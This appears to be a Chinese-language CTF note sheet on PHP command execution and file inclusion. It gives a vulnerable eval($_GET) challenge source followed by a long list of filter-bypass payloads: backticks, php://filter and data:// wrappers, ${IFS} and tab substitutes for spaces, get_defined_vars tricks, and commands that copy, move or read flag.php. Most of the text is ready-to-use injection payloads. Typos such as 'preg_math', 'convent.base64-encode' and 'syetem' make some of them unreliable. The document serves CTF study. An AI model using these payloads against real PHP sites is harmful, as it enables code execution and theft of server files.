命令执行
文件包含
源码
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_math("/flag/i,$c"))
{
eval($c);
}
}
else
{
highlight_file(_FiLE_)
}
1.代码执行
?c=phpinfo(); 或者 ?c=phpinfo?>
php最后一条语句可以不用分号
?c=system(“cp fla?.php 1.txt”);
然后查看1.txt , fla?是因为过滤了flag所以拿占位符添加
(?是一位,*是多位)
如果过滤system
?c=`/cp fla?.php 1.txt`; 反引号在PHP中和system 类似
如过滤点单引号 和 点
?c=eval($_GET[1]);&1=system(“ls”);
后面的参数一不受过滤限制,逃逸了
过滤了分号 和 括号
?c=include%0a$_GET[1]?>&1=php://filter/convent.base64-encode/resource=flag.php
使用php伪协议,
过滤了include
?c=require%0a$_GET[1]?>&1=php://filter/convent.base64-encode/resource=flag.php
require 和include类似
过滤了数字
?c=include%0a$_GET[a]?>&a=php://filter/convent.base64-encode/resource=flag.php
a可以不用单引号,因为php向下兼容,目前可用,以后可能不行
过滤了很多符号
?c=print_r(get_defined_vars());
需要加一个post值里面写
拿一个中间一个数组
?c=print_r(next(get_defined_vars()));
取数组值弹出
?c=print(array_pop(get_defined_vars())));
执行
?c=eval(array_pop(get_defined_vars())));
利用函数echo print isset unset include require
print%0a$_GET[1]?>&1=phpinfo();
回显的是phpinfo()的字符
只有用eval才能执行
函数变了源代码eval变成include
include($c);
过滤了flag
?c=data://text/plain,<?php syetem("mv fla?.php 1.txt");?>
伪协议data把后面的字符作为代码执行 复制flag到1.txt
过滤了PHP
?c=data://text/plain,<?= syetem("mv fla?.php 1.txt");?>
php可以换成=号 这是短标签写法
强制加后缀PHP 并且不回显
?c=data://text/plain;<?php syetem("tac fla?.php");?>
include变成system
system($c," >/dev/null 2>&1");
需要url编码提交
双写绕过
?c=ls;ls
因为有分号第二个命令被拉到黑洞里
过滤了分号
?c=cat flag.php&&ls
同样是&分割了命令
过滤了cat.flag
?c=tac fla?.php&&ls
过滤了空格
?c=tac%09fla?.php&&ls
%09水平制表符 属于一种tab,可以当空格使用
过滤了所有空格
?c=nl<fla"g.php||ls
行号打开文件
过滤了<>
?c=ls${IFS}/||ls --查看根目录
?c=mv${IFS}fla?.php${IFS}a.txt||ls
?c=cp${IFS}/fla?.php${IFS}var/www/html/a.txt||ls
函数变成
d=system($c);
echo "<br>".$d
?c=ta"c${IFS}fla?.php
可利用函数
system('ls');
phpinfo(); php页面
echo shell_exec('ls')
echo file_get_contents('index.php'); 读取文件
echo include($_GET[1]);然后get传参?1=1=php://filter/convent.base64-encode/resource=flag.php
rename('flag.php' ,'1.txt');改变变量名字
echo include($_GET[1]);&1=hightlight_file('flag.php');
show_source('flag.php');
include('flag.php');&echo $flag; 先包含了,然后知道变量名字直接输出
include('flag.php');ver_dump(get_defined_var());包含变量,然后查看所有包含变量
print_r(scandir('.'));查看当前目录
file_get_contents('flag.php')远程文件获取
include('flag.txt'); txt文件直接输出